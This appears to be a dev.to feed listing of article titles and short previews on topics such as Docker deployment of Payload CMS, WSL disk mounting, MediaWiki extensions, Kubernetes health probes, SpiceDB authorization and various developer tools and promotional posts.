    Payload is an open source backend framework and it is mainly used as a content management system. You can use Docker to run your own instance of Payload on Sliplane, however, when I tried using the Dockerfile that gets created using the pnpx create-payload-app it did not work for me right away and I had to apply a few tweaks and settings in order to get payload running. Here's how you can run Payload with Docker: NodeJs and Docker should be installed on your system. For the demo I use pnpm as a package manager so make sure to install it as well or tweak the installation instructions to use your package manager of choice. In my case I used: Node version: v22.12.0 pnpm version: 9.13.2 Create a new Payload App Open a new terminal in the parent folder where your Payload project …  ( 7 min )
    Error code: Wsl/Service/AttachDisk/0x8007000f
    Trying to Format USB Drive Manually via WSL2 Here’s how I tried to do it: Open Command Prompt as Administrator and run: wmic diskdrive list brief This will list all physical drives (e.g., \.\PHYSICALDRIVE1, \.\PHYSICALDRIVE2, etc.). Identify which one is your USB device. Attempt to Mount the Drive in WSL2 wsl --mount \\.\PHYSICALDRIVEx --bare But I encountered this error: Error code: Wsl/Service/AttachDisk/0x8007000f This error may occur if your version of WSL2 doesn't support raw disk mounting properly. To fix it, update WSL to the latest (preferably pre-release) version: Still in Command Prompt (Admin): In cmd prompt ( Administrator mode ) wsl --update Once the update is done, run it again with --pre-release wsl --update --pre-release wsl --restart then try mount aganin. Try Mounting Again ** If this still doesn't work, consider booting into a Linux distro like Manjaro/Debian and using gparted or CLI tools (mkfs.btrfs, parted) directly from there.  ( 3 min )
    Building a Resilient Exception Strategy with Apache Beam and DLQ
    Context: when the pipeline stops because of a single record In a common large-scale data ingestion scenario using Apache Beam, we faced a classic issue: a single malformed record caused the entire pipeline to fail. It was expected that some records might contain errors, but the pipeline was assuming everything would work perfectly. There was no fallback, no distinction between business or technical errors, and no isolation for problematic data. This led us to the key question: how do we keep the pipeline healthy even in the presence of predictable failures? Prevent exceptions from halting the processing of all data Separate technical failures (e.g., API errors) from business logic issues (e.g., invalid value) Log errors in a structured format for analysis and possible reprocessing Implem…  ( 5 min )
    Building a Real-Time Notification System in MediaWiki Using Extension Hooks and WebSockets
    Introduction MediaWiki provides an excellent foundation for collaborative publishing, but it lacks native real-time functionality. Editors must manually refresh pages to check for changes, and administrators are not immediately notified of critical edits or vandalism. This article demonstrates how to build a real-time notification system for MediaWiki using extension hooks, a message broker like Redis, and a WebSocket server. The implementation remains modular and decoupled, enabling flexible integration and scaling. In collaborative environments such as knowledge bases, wiki farms, or moderated documentation portals, visibility into changes as they occur is critical. While MediaWiki includes the Echo extension for notifications, it does not provide real-time push functionality. Instead,…  ( 6 min )
    My Little Survey Invite
    Hello everyone, As a novice Python student myself, I'm currently conducting academic research on common error types in Python through surveys and interviews. Your insights and experiences are incredibly valuable, and I’d love to learn from the community. My study aims to understand the underlying causes of common coding errors, including those rooted in critical thinking, which can be a significant barrier to problem-solving. The knowledge from this research can greatly benefit programmers by helping them pinpoint errors, correct mistakes more easily, avoid bigger errors and longer debugging sessions, and ultimately increase their expert deduction capabilities. If you're available and interested in sharing your thoughts, please let me know when you might be free to chat or feel comfortable taking part in a short interview. Thank you for your time and for helping improve our collective understanding! Please consider taking my survey here: https://docs.google.com/forms/d/e/1FAIpQLScKpVr_YfAeZsarw6ngT-XJ5Bh2SHzmG29C4TaywDkcoIGEdw/viewform?usp=dialog. If you'd prefer a brief interview, please DM me. Best regards, Melty.  ( 3 min )
    Startup Life: From DevOps to Filling Out Compliance Spreadsheets
    At the end of 2021, I joined a young fintech startup with a brilliant idea: build a lending as a service platform. The concept was fresh, bold, and quite unique in Latin America. By integrating with payment providers, we could access anonymized transaction data from small businesses and assess their cash flow. Based on that, we offered them credit, something they couldn’t easily get from traditional banks. Repayments were automatically deducted as a percentage of their daily sales. I absolutely loved the idea. It was one of those concepts that make you stop and think, “Why didn’t I come up with this myself?” At the time, we were around fifteen people, with a single partner, and a huge list of things that still needed to be built. I came in to do what I enjoy most: build systems, automate e…  ( 5 min )
    Advanced PDF Optimization Techniques - 1753130
    Optimize PDFs: Smart Compression Algorithms for Faster File Transfers In the realm of digital documents, PDFs reign supreme for their versatility and ubiquity. However, as developers, we often grapple with the challenge of bloated file sizes that slow down transfers and hog precious storage space. Today, we're going to dive into the fascinating world of PDF compression algorithms and explore practical techniques to optimize your PDFs for faster, leaner file transfers. Before we dive into the nitty-gritty, let's understand what we're dealing with. PDFs are complex documents that can contain a mix of text, images, vectors, and more. To compress them effectively, we need to understand the different elements and the algorithms that can shrink them down. Text: Usually the smallest part of a P…  ( 5 min )
    🚀 How to Install Chromium for Puppeteer on AWS (EC2 or Lambda)
    🧠 Why This Happens AWS environments (like Amazon Linux 2 on EC2 or Lambda) don’t come with Chromium installed by default. Also, the headless version Puppeteer tries to download is often incompatible with AWS's OS. To make Puppeteer work, you need: A compatible headless Chromium binary. Proper dependencies installed (fonts, sandbox libs, etc.). The right launch options. 🧠 Why This Happens AWS environments (like Amazon Linux 2 on EC2 or Lambda) don’t come with Chromium installed by default. Also, the headless version Puppeteer tries to download is often incompatible with AWS's OS. To make Puppeteer work, you need: A compatible headless Chromium binary. Proper dependencies installed (fonts, sandbox libs, etc.). The right launch options. sudo yum update -y # Install missing l…  ( 4 min )
    Boost Your MediaWiki with Custom Parser Functions and Hooks Integration
    Custom parser functions and hooks are powerful tools for MediaWiki developers aiming to extend functionality with precise control. Leveraging these mechanisms helps you integrate deeply with the core while maintaining clean, maintainable code. This detailed tutorial walks through creating a custom parser function and hook integration in MediaWiki, and explains best practices around security, performance, and maintenance. A parser function in MediaWiki allows you to introduce new syntaxes in wiki markup. A simple example is building a function that calculates and displays the square of a number. You register the function via extension.json, mapping a key such as "square" to a PHP handler class. In your class method, you accept the parser, frame, and parameters. Use intval to sanitize input …  ( 7 min )
    How to create a digital twin of yourself that joins low-value meetings for you
    AI notetakers to their meetings instead of showing up themselves. In a recent Washington Post article, the reporter recounts stories of meetings where these AI notetakers outnumbered the human participants - sometimes being the only other "attendees." But can an AI notetaker really be considered an attendee if it can't participate in conversations or contribute to the meeting? I would argue that an AI meeting agent that truly represents an absent person must actively participate by answering questions for them or providing context about their work. Essentially, this agent becomes a "digital twin" of the absent person. I found myself wondering: Is it already possible to create such a digital twin? (Spoiler: The answer is yes!). But I wanted to go even further. I aimed to build an AI meeting…  ( 7 min )
    Day 1 of My Front-End Journey: React Setup + Built a Mini React from Scratch + 1st Component
    What I Did Today (React Day 1) build a super simple version of React to understand how things like createElement() and rendering work It’s early — but exciting. React feels powerful and very developer-friendly once the setup is done.  ( 3 min )
    Apache airflow and its use in data engineering.
    what is apache airflow --- Apache Airflow is an open-source platform for developing, scheduling, and monitoring batch-oriented workflows. Airflow’s extensible Python framework enables you to build workflows connecting with virtually any technology. A web-based UI helps you visualize, manage, and debug your workflows. You can run Airflow in a variety of configurations — from a single process on your laptop to a distributed system capable of handling massive workloads. With its core features like pipeline automation, dependency management, scalability, makes it a vital tool for data engineers. DAGS - A Directed Acyclic Graph(DAG), according to the official workflow documentation, is a model that encapsulates everything needed to execute a workflow. Schedule: When the workflow should run. Tasks: tasks are discrete units of work that are run on workers. Task Dependencies: The order and conditions under which tasks execute. Callbacks: Actions to take when the entire workflow completes. common uses of airflow Automation of ETL pipelines Data validation and transformation tasks schedule data analytics reports machine learning, model training and deployment. It is Python-based based enabling writing of workflows as code. Its web-based UI provides real-time monitoring and debugging capabilities. Separation of the web server and scheduler components allows for better resource allocation. Airflow is modular and extensible, enabling creation of custom operators and plugins. -Airflow's scalability supports distributed execution. It has a steep learning curve. Airflow isn't built for streaming data. Airflow can be complex to set up for beginners. Windows users can't use Airflow locally, unless on WSL. Debugging on airflow can betime-consumingg. Despite the several disadvantages, airflow still proves to be a vital tool for data engineer,s especially when paired with other tools such aApache Kafkaka. P  ( 3 min )
    Um pouco sobre MVVM
    1. Análise Técnica da Estrutura e Comunicação no Padrão MVVM O padrão Model-View-ViewModel (MVVM) é um padrão de arquitetura de software projetado para desacoplar a lógica de apresentação da lógica de negócio em aplicações de interface gráfica. Essa separação é fundamental para alcançar alta coesão, baixo acoplamento e, consequentemente, melhorar a testabilidade, manutenibilidade e o desenvolvimento paralelo de interfaces (por designers) e da lógica subjacente (por desenvolvedores). O diagrama a seguir ilustra as relações e o fluxo de comunicação entre os três componentes principais. @startuml actor Usuário package "Camada de Apresentação" { rectangle View } package "Camada de Lógica de Apresentação e Negócio" { rectangle ViewModel database Mod…  ( 7 min )
    This is exactly what more remote founders need to read. Keep your stack lean and your culture focused.
    Why Most Remote Startups Fail (And How TDZ Pro Scales Using These SaaS Tools) Armi ・ Jun 18 #remote #startup #productivity #saas  ( 3 min )
    🌐 Fellou.ai – The First AI Agentic Browser
    Turn your browser into a 24/7 autonomous research & automation assistant. “Give Fellou a goal; it opens tabs, reads pages, clicks buttons, downloads files, and reports back—without you lifting a finger.” Traditional Browser Fellou.ai You click, scroll, copy, paste AI clicks, scrolls, reasons, stores Search → 10 blue links Search → executed multi-step plan Bookmarks & notes Structured reports & Airtable rows Prompt: “Find 20 pet influencers (≥10 k followers), DM them about a collab, and put the replies in Airtable.” Autopilot Steps Google search → scrape Instagram/Twitter lists Filter by follower count via API Draft personalized DMs Wait for responses, parse JSON → Airtable Deliverables Spreadsheet with handles, follower counts, response status Screenshots of sent messages Summary report PDF All headless—you can close the laptop. Recipe Outcome JD Consolidation Merge two job descriptions → optimized resume bullet points Morse Code MP3 Text → Morse beeps → downloadable 128 kbps file Taylor Swift MP3 Rip YouTube link → 320 kbps audio Smart-Home Sound Pack 20 royalty-free notification tones in WAV/MP3 Snake Game Fully playable HTML file with scoreboard Tier Price What You Get Explorer Free 5 recipes / mo, 30 min max run-time Pro $19 / mo Unlimited recipes, 4 h run-time, API access Team $99 / mo 10 seats, shared workspaces, webhooks Fellou.ai = Browser + AI agents + no-code recipes. From “find me data” to “ship the deliverables”—all in one tab. Try it today → fellou.ai  ( 3 min )
    30 Days of Code- Day 4 & 5
    (20th & 21st July) Hey there!! 💭 Thoughts: But I keep reminding myself — this challenge is about my own pace and progress, not comparison. I hope. 💻 What I Did: DSA: Counting Inversions Reverse Pairs Largest Subarray with K Sum JavaScript : Completed the DOM Basics Explored DOM selectors, NodeList, and HTMLCollection — the differences between them are now much clearer. Practiced creating new elements in DOM. Takeaway for These Days: Signing off :) Akshita  ( 3 min )
    Brainstorming New CRM Features #15
    Servus and welcome back to Day 15 of building my CRM system — and it was more about thinking than shipping. I spent a lot of time thinking through some new features I’d like to build next. Continued refining the dashboard Small UI improvements Wrote out component stubs for upcoming modules You Add? If you were building (or using) a CRM: What’s a feature you wish existed — but rarely see? Let me know, maybe I’ll build it. Thanks for sticking with me on this journey! Jonathan (0xj0n1)  ( 3 min )
    🧠 Introducing `brew_brain`: The Homebrew Arsenal Manager I Wish I Had Years Ago
    If your terminal is a little too full of Homebrew installs, and you’re tired of forgetting what’s actually important, this is for you. Ever run brew list and felt a wave of guilt? “Wait, do I even use half of these? Why is that still installed?” Worse, have you ever needed to: Onboard a teammate and document your dev setup? Move to a new Mac and wish you could just “import your tools” (without 100+ random things)? Prove to security/audit teams what’s actually on your machine? Me too. That’s why I built brew_brain — a Bash-powered Homebrew arsenal manager that tracks what matters, documents it, and lets you export or audit your toolkit in seconds. brew_brain Actually Does Track only what matters: Add "track": "true" in your arsenal JSON to focus on your must-have CLIs. Instant healt…  ( 4 min )
    Agent Engineering: Orchestrating and Architecting Intelligent AI Agents
    Agentic AI is redefining the foundations of software development—transforming roles, workflows, and the very paradigms by which we build applications. In response to this shift, a new discipline is emerging: Agent Engineering. This field focuses on the design, development, and supervision of intelligent agents—autonomous systems powered by large language models (LLMs), structured context, and real-time reasoning. These agents are not just components of next-generation systems; they are the system—capable of perceiving, reasoning, acting, and learning in pursuit of complex goals. Although the term “Agent Engineering” has surfaced in various corners of the AI ecosystem, its formalization is still in its early days. But as we step into 2025, one thing is clear: this is the year of AI agents. …  ( 10 min )
    React useState vs useReducer: When & Why to Use Each
    State management in React is one of the foundational concepts every frontend developer must master. As your component grows from simple to complex, choosing between useState and useReducer can greatly affect readability, performance, and maintainability. useState: Simplicity First The useState hook is ideal when your state logic is straightforward — a single value or a few unrelated values. It’s quick, easy to understand, and perfect for local UI states like toggles, inputs, or counters. const [count, setCount] = useState(0); return ( {count} setCount(count + 1)}>Increment ); useState Managing primitive values (strings, numbers, booleans) Simple form fields Toggling visibility (like modals or dropdowns) Less than 3–4 state va…  ( 4 min )
    Part 9: Are You Okay? Health Probes for Resilient Applications
    We have a stateful, configurable application running in our cluster. Kubernetes already provides a degree of resilience through self-healing—if a Pod disappears, the Deployment replaces it. But this raises a critical question: what does it mean for an application to be "healthy"? Right now, Kubernetes only knows if the container process has started. It has no idea if the application inside the container is actually working. What if your app has started but is stuck in an infinite loop? What if it's frozen and can't respond to requests? What if it needs 30 seconds to warm up and load data before it's ready to serve traffic? To Kubernetes, a running but broken application looks the same as a healthy one. This can lead to traffic being sent to Pods that can't handle it. To solve this, Kuberne…  ( 7 min )
    Classes in Python, a beginner's pov
    WHAT IS A CLASS A class is like a blueprint for creating objects or an object constructor. It defines what data (variables) and actions (functions/methods) an object should have.Classes are a good example of object oriented programming using python. Classes are used for grouping code, to enable code reusability and scalability, and to facilitate the writing of clean code. When creating classes we use a special function called a the constructor method, this function gets called automatically and creates a new object.Basically innitializing the objects attributes. constructors are used to automatically set up object data, avoid repetitive code and ensure that every object starts with valid values. In Python, a class is created using the CLASS keyword.When creating a class its advised to us…  ( 4 min )
    Identify Appliance Parts Using Just a Photo
    Ever opened a malfunctioning appliance to discover a strange plastic or metal piece that's broken, but you can't name it? That tiny damaged component can stop your repair dead. Without the right term, you're lost in diagrams or paying high fees for identification. Imagine snapping a photo for an instant answer? This frustration drives DIYers to smart visual recognition tools like our Image Analysis Assistant. Capture a clear image of any unknown component, ask "What's this part called?" or "What function does this serve?", and receive a plain-language explanation. Zero expertise required—just photograph and submit. Picture your dryer refusing to tumble. You remove the back panel and spot a fractured plastic component near the drum. Rather than guessing "idler pulley" or "belt tensioner," …  ( 4 min )
    Why I Chose Frontend Development (and Why You Might Too)
    In early 2024, I made a decision that would shape the way I interact with the web: I chose to become a frontend developer. No, I didn’t start coding when I was six, nor did I attend a bootcamp or follow a polished learning path. Like most self-taught devs, I began with a curious mind, a laptop, and the endless rabbit hole that is YouTube. And I’m glad I took the leap—because frontend development became more than just a skill. It became a creative outlet, a technical challenge, and a form of expression. If you’re exploring where to start in tech, this post might help you understand why frontend could be the right choice for you too. Long before I knew what a div or component was, I was obsessed with good design. I noticed subtle animations on websites, how layouts adjusted on different scre…  ( 5 min )
    Six Hat Analysis for Personal Data Security
    TL;DR This article adapts Edward de Bono’s Six Thinking Hats methodology to the domain of personal data security, offering developers a practical, multi-perspective approach to architecting, auditing, and defending personal data systems. We break down each "hat"—fact-based analysis, emotional impact, risk assessment, opportunity discovery, creative ideation, and process synthesis—highlighting technical challenges, architecture best practices, and actionable solutions for software engineers and security professionals. Introduction Why Developers Should Care 1. White Hat: Objective Facts & Data Flows 2. Red Hat: User Emotions & UX Security 3. Black Hat: Threat Modeling & Vulnerabilities 4. Yellow Hat: Opportunities & Positive Impact 5. Green Hat: Creative Solutions & New Architectures 6. B…  ( 5 min )
    How to deploy Azure Key Vault with Terraform: A Step-by-Step Guide
    Managing secrets, certificates, and keys securely is a critical part of any cloud infrastructure. Azure Key Vault is Microsoft’s go-to solution for secure key management, and in this blog, we’ll walk through how to deploy it using Terraform. We'll break down the Terraform configuration so that even if you’re new to deploying Azure services as code, you’ll be able to follow along with confidence. Before diving into the code, make sure you’ve got the following set up: Terraform installed (version 1.10.0 or later ) An activeAzure subscription TheAzure CLI installed and logged in A service principal or user account with sufficient permissions to deploy resources Familiarity with basic Terraform concepts (providers, resources, variables) Azure Key Vault is a handy tool for securely storing sen…  ( 6 min )
    Every remote team should look at what TDZ PRO is doing and learn from it.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    What makes TDZ PRO stand out is how they make their clients feel heard and understood.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    What stands out about TDZ PRO is their ability to turn a regular video call into a moment of client confidence and clarity.
    How TDZ PRO Changed the Game for External Remote Meetings Anthony James ・ Jun 24 #remote #productivity #meetings #tdzpro  ( 3 min )
    Simulador de Modulação 16QAM em Python
    A modulação 16QAM (Quadrature Amplitude Modulation) é amplamente utilizada em sistemas de comunicações digitais. Ela combina modulação em amplitude e fase para transmitir 4 bits por símbolo. Construir um simulador em Python permite entender com mais profundidade os aspectos práticos da modulação, como o mapeamento dos bits para os pontos da constelação, o impacto do ruído na transmissão e a avaliação da taxa de erro de bits (BER) em diferentes relações sinal-ruído (SNR). Neste projeto, vamos desenvolver um simulador completo de 16QAM, com geração de símbolos, conversão DA/AD modulação, adição de ruído e demodulação, com o objetivo de validar conceitos teóricos e apoiar experimentos futuros em sistemas de comunicação digital. Inicialmente, é preciso entender o que é um sistema de comunicaç…  ( 6 min )
    I Completed Cisco’s Networking Basics Course! Here’s Why It Matters
    I'm happy to share that I’ve completed the Networking Basics course by Cisco Networking Academy. This course introduced me to: The fundamentals of networking and the Internet Key components like switches, routers, IP addressing Real-world topologies and protocol models As someone on the path toward Cybersecurity and Red Teaming, this course was a perfect foundation to sharpen my understanding of network infrastructure — which is vital in both attacking and defending systems. 🗓️ Date Completed: July 17, 2025 I’ll be sharing more technical insights and learning progress here — stay tuned!  ( 3 min )
    What We Need to *Unlearn* as Software Engineers
    We talk a lot about what to learn: the latest frameworks, design patterns, clean code practices, you name it. But what about the things we need to unlearn? Sometimes, growth means letting go of habits, mindsets, or assumptions that no longer serve us. Here are a few things I believe we should actively work to unlearn: "More code = more value" We often feel productive when we're writing a lot of code. But real value comes from solving problems—not just producing code. Sometimes, deleting code is the smartest move you can make. "It works, so it's fine" Just because it works today doesn't mean it's maintainable tomorrow. Prioritize readability, clarity, and future-proofing over hacks that only solve the immediate problem. "Asking for help = weakness" You're not supposed to know everything. Asking for help isn't a weakness—it's how we collaborate and grow. The best engineers ask great questions. "More features = better product" Shipping too many features too fast can create clutter and confusion. Sometimes, the best feature is the one you decide not to build. "We’ve always done it this way" Technology evolves. So should we. Clinging to outdated patterns or tools just because they’re familiar can hold us back from better solutions. Learning is only half the journey. Unlearning makes space for better ideas, healthier habits, and cleaner code. What have you had to unlearn in your journey as a software engineer?  ( 3 min )
    Adicionando visuais no seu Markdown com Mermaid 🧜‍♀️
    Se a ideia de adicionar diagramas à sua documentação em Markdown no GitHub (ou em qualquer outra plataforma) parece uma tarefa chata, você precisa conhecer o Mermaid! Com ele, você cria visuais profissionais diretamente no seu arquivo de texto. Recentemente, lancei um projeto Open Source chamado DevRel Roadmap, que reúne conteúdos educacionais sobre Developer Relations. Como a proposta é ensinar e orientar pessoas desenvolvedoras que querem entrar ou avançar na área, eu precisava de uma maneira leve, prática e bonita de organizar visualmente as informações. Foi exatamente aí que o Mermaid entrou na história. Mermaid é uma linguagem de marcação baseada em Markdown que transforma simples blocos de texto em diagramas visuais, direto no navegador. Ele funciona de maneira parecida com Markdow…  ( 5 min )
    Is AIOps the End of Alert Fatigue?
    If your DevOps team is constantly firefighting alerts, chasing false positives, or losing sleep over noise, it might be time to rethink your observability strategy. Enter: AIOps. AIOps stands for Artificial Intelligence for IT Operations. It combines machine learning, big data, and automation to help teams manage increasingly complex systems. Instead of reacting to every alert manually, AIOps analyzes patterns, correlates signals, and filters out the noise, so engineers only get notified when it truly matters. Why It Matters for On-Call Engineers 🚨 The goal isn’t to replace human ops, but to support them. With AIOps: Redundant alerts are suppressed Anomalies are flagged earlier Root cause analysis gets faster Response times (and stress levels) drop Especially in cloud-native and microservices-heavy environments, AIOps can be a game-changer for keeping teams focused on what matters, not just reacting to noise. We made a short video that gives you a fast overview of what AIOps is, how it works, and why it’s gaining traction in high-scale operations. Great if you're curious but don’t have time for a deep dive (yet). Have you started using AIOps in your stack? I’d love to hear how it’s working for your team, or what challenges you’re still facing.  ( 3 min )
    🛠️ Using the Dev.to API (2025)
    Dev.to offers both unauthenticated and authenticated APIs, enabling you to fetch public articles or access private data like your own drafts & stats. You can access public user articles using simple GET requests—no authentication needed: // Fetch public posts by username const res = await fetch(`https://dev.to/api/articles?username=yourname`); const articles = await res.json(); console.log(articles); Returns an array of public articles with metadata like id, title, description, url, tag_list, etc. No auth headers required. Ideal for displaying any user's public posts on your site. To fetch your private or additional data like drafts or analytics: Generate an API key on Dev.to Settings → Extensions → DEV Community API Keys Use it in your server-side or CLI requests (authenticated endpoint…  ( 4 min )
    Part 5: The Backbone of Blockchain Interoperability - Understanding Standards
    How standardized protocols enable seamless interaction between wallets, dApps, and smart contracts So far, you've learned the practical skills of blockchain interaction: reading data, sending transactions, and listening for events. You've even deployed your own Counter contract and successfully modified blockchain state. But as you venture deeper into decentralized applications (dApps), you'll constantly encounter terms like ERC-20, ERC-721, EIP, and interfaces. What are these mysterious acronyms, and why are they absolutely crucial for blockchain development? Today, we're zooming out to understand the fundamental concept that makes the blockchain ecosystem so powerful and interconnected: Blockchain Standards. Blockchain standards are agreed-upon sets of rules, conventions, or interfaces t…  ( 7 min )
    Using Context in Next.js – A Beginner-Friendly Guide
    Managing state in a modern web app can get tricky, especially as your app grows. If you’ve ever found yourself passing props down multiple layers of components in your Next.js project, it’s time to meet your new best friend: React Context. In this post, we'll explore how Context works in a Next.js app, when to use it, and how to set it up step by step—with simple examples for beginners. In plain English, Context is a way to share data between components without passing props manually at every level. Think of it like a global store that's accessible to any component in your app, as long as it's wrapped in a Context Provider. Next.js is built on top of React, so it supports the React Context API out of the box. Context becomes useful when: Multiple components need access to the same data (e.…  ( 5 min )
    “How I Fixed ‘No NIC Except Loopback’ on CentOS Stream Minimal in VMware”
    I recently spun up a CentOS Stream 10 Minimal VM in VMware so I could test some networked services. To my surprise, after installation I ran: $ ip link show 1: lo: … ` …and that was it. No eth0, no ens33, nothing but the loopback device. A quick lspci | grep -i eth did show an old AMD PCnet-PCI II adapter, but CentOS wasn’t loading any driver for it—and worse, my bridged LAN had no DHCP server so even a loaded driver wouldn’t help. Here’s a concise “restore-your-VM-network” recipe that worked for me every time. Drop these steps into your personal wiki or a Gist, and you’ll never get stuck without a NIC again 🤓. Inside the VM: bash lspci | grep -i eth shows: No real interface (eg. eth0 / ens*) is ever created. Legacy NIC: VMware’s default PCnet-PCI II (pcnet32) adapter isn’t supported out-of-the-box by CentOS Stream Minimal. No DHCP: With the adapter in Bridged mode on a network lacking DHCP, the interface—once up—couldn’t grab an IP anyway. Power off your VM. Open VM → Settings → Network Adapter. Select NAT instead of Bridged. ✓ Check Connected and Connect at power on. OK, then Power on. NAT mode uses VMware’s vmnet8 network and a built-in DHCP server. You’ll always get a lease. bash Your interface name may vary (ens33, enp0s3, etc.). First, test DHCP manually to confirm VMware↔DHCP communication: bash You should now see something like: bash And: bash To have your VM auto-connect on reboot, use nmcli: `bash sudo nmcli connection delete vm-dhcp || true sudo nmcli connection add \ sudo nmcli connection up vm-dhcp Verify: `bash ip addr show ens32 ` bash If you get replies, congrats 🎉—you’ve restored full networking to your CentOS Stream Minimal VM! Driver-only fix: If you prefer to stick with the PCnet32 adapter, you can instead load its driver: bash But you still need a DHCP server on your bridged network. Bridged with DHCP: If your physical LAN has a DHCP server and you really need bridged mode, switch back to Bridged after loading the driver or switching NIC type to e1000/vmxnet3.  ( 4 min )
    A Tale of Two Threads (APIs)
    Introduction Even though nascent “threads” appeared as early as 1966, they weren’t supported by any major programming language of that era. POSIX threads aka, pthreads (“pea-threads”) didn't appear until 1995. Consequently when C was created in 1972, it didn’t support threads at all until pthreads came along. Pthreads is widely available on any Unix system and even Microsoft Windows ports exist. Among other things, C11 added standard library support for threads. Its API is necessarily superficially different from and a subset of pthreads. While that’s not terrible, it’s unfortunate; more unfortunate is that standard threads are optional for implementations. Specifically, if the compiler predefines the __STDC_NO_THREADS__ macro, then standard threads are not supported. Hence, if you’re…  ( 7 min )
    The Unsent Project Reimagined: Build Thoughtful Messages with PaperGen AI
    Introduction: What’s Behind the “Unsent Project”? The Unsent Project, created by artist Rora Blue, collects anonymous love letters that were never sent, pairing raw human emotion with aesthetic design. It’s a creative outlet. But for developers, it’s also an intriguing data storytelling concept—a space where tech and emotion intersect. Whether you're a full-stack engineer curious about humanizing apps, a creative coder exploring sentiment analysis, or a developer experimenting with AI-generated text—this post is for you. In this guide, we’ll explore how developers can interact with the unsent message project concept and even prototype their own tools or content streams. And we’ll show you how PaperGen AI, a cutting-edge, plagiarism-free writing generator, can help you simulate emotionally …  ( 5 min )
    How docker build Really Works?
    If you run docker build, you need to understand what's happening under the hood. It’s not magic — it's a clever use of containers themselves. Here’s the breakdown 👇 docker build? When Docker builds an image, it reads your Dockerfile line by line. But here’s the key: not every instruction creates a new layer. 1. For instructions that change the filesystem (RUN, COPY, ADD): It spins up a temporary container using the image from the previous step. It runs the command (e.g., RUN apt-get update) or copies the files inside that container. It commits the result as a new image layer that contains only the filesystem changes. 2. For instructions that only change metadata (WORKDIR, ENV, CMD, EXPOSE): No container is created. Docker simply updates the image's metadata (the config.json file) to be …  ( 4 min )
    Foster AI: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Foster AI - Elevate Your Pitch with Intelligence. Team Members: Jack Michele Project URL: https://devpost.com/software/foster-ai The World's Largest Hackathon may have concluded, but for Foster AI, it was just the beginning of an exciting journey that has reshaped our trajectory as a developer and innovators. What started as a hackathon submission has evolved into something much more significant. Foster AI has grown from a proof-of-concept to a potential market solution. Current Status: Enhanced feature set based on initial feedback Improved user interface and experience Scalability improvements for broader adoption Integration of additional technologies discovered post-hackathon The response to Fost…  ( 5 min )
    AWS y el Pilar de la Sostenibilidad: Futuro Responsable, Ventaja Sostenible
    Vivo en un país que ha levantado la bandera de la ecología como parte de su identidad. Poco a poco, hemos transformado nuestros hábitos: aumentamos nuestras zonas boscosas, apostamos por el transporte eléctrico, contamos con una matriz energética limpia, reciclamos en casa e incluso practicamos el compostaje. Sin embargo, estas iniciativas no deben quedarse solo en los planes gubernamentales o en los esfuerzos familiares. En Costa Rica existen programas como Bandera Azul Ecológica, que reconoce a organizaciones comprometidas con la reducción de su huella ambiental. Pero es hora de ir más allá. Como profesional del área tecnológica, siento una responsabilidad: llevar esta visión al ámbito técnico y convertirla en un llamado que trascienda fronteras. Preguntémonos: ¿cuántas veces hemos vis…  ( 6 min )
    Secure AI Access Control Using: SpiceDB
    Original: https://codingcat.dev/podcast/secure-ai-access-control-using-spicedb Welcome back, CodingCats! If you’re itching to untangle the furball that is app permissions, you’re in the right place. This is CodingCat.dev, where the dev snacks are always fresh, and today, we're serving a feast of practical authorization wizardry for your modern full stack projects. In this mega post: We’ll break down why building your own Authz is a waste of precious dev time Dive deep into live SpiceDB Playground tricks Demo rich Google Docs–style ACL modeling Use code and schema to empower comment, edit, and view flows See LLMs, SpiceDB, and the cloud come together for AI-powered authorization Q&A Explore modern tooling, compliance, Edge caching, bulk permission checks, and scalable strategies Com…  ( 11 min )
    Scaling Permissions with SpiceDB: ReBAC Explained
    Original: https://codingcat.dev/podcast/scaling-permissions-with-spicedb-rebac-explained The Ultimate Guide to Modern Authorization: SpiceDB, AuthZed, and AI-Powered Workflows Whether you’re totally new to the authorization world, or you’ve already seen our previous role-based access control (RBAC) deep dive, this post will break down everything you need to know about modern, flexible AuthZ. We’ll run through real examples with SpiceDB, schema modeling tips, playground tricks, and even some slick AI/LLM integrations for making permissions easy to learn and reason about. Plus, we’ll show you how centralized authorization platforms like AuthZed are making developer lives easier (so you can focus on building, not debugging spreadsheet access). Get comfy; you’ll want to bookmark…  ( 10 min )
    🚀 I Built a Magical CLI Tool That Automatically Generates Perfect .gitignore Files - Here's How It Went Viral
    How a simple weekend project turned into a developer's dream tool with AI recommendations, GitHub integration, and 50+ technology detection You know that moment when you start a new project and spend 30 minutes crafting the perfect .gitignore file? Or when you accidentally commit sensitive files because you forgot to add them to .gitignore? I was tired of it. So I built something magical. Meet gign (pronounced "gig-n"), a CLI tool that automatically detects your project's technologies and generates the perfect .gitignore file in seconds. # Just run this in any project directory gign # And watch the magic happen! ✨ AI-Powered Smart Recommendations The tool doesn't just generate basic .gitignore files - it analyzes your project structure and provides intelligent recommendations: gign ai…  ( 6 min )
    The Unsent Project Reimagined: Build Thoughtful Messages with PaperGen AI
    Introduction: What’s Behind the “Unsent Project”? The Unsent Project, created by artist Rora Blue, collects anonymous love letters that were never sent, pairing raw human emotion with aesthetic design. It’s a creative outlet. But for developers, it’s also an intriguing data storytelling concept—a space where tech and emotion intersect. Whether you're a full-stack engineer curious about humanizing apps, a creative coder exploring sentiment analysis, or a developer experimenting with AI-generated text—this post is for you. In this guide, we’ll explore how developers can interact with the unsent message project concept and even prototype their own tools or content streams. And we’ll show you how PaperGen AI, a cutting-edge, plagiarism-free writing generator, can help you simulate emotionally …  ( 5 min )
    I Built a Tool That Shows How Much Energy Your Python Code Uses - The Results Shocked Me!
    # 🔋 I Built a Python Tool That Shows How Much Energy Your Code Uses (And It's Going Viral!) Ever wondered how much energy your Python code actually consumes? I built a tool that tells you exactly that, and developers are loving it! Last month, I was debugging a performance issue in my Python application when I realized something shocking: I had no idea how much energy my code was actually consuming! As developers, we obsess over execution time, memory usage, and CPU cycles, but we completely ignore one of the most critical metrics in today's world: energy consumption. Think about it: Your laptop battery dies faster than expected Your server costs are skyrocketing You're contributing to unnecessary carbon emissions You can't optimize what you can't measure That's when I decided to build p…  ( 5 min )
    A Modern Office Community App – Frontend Built with React
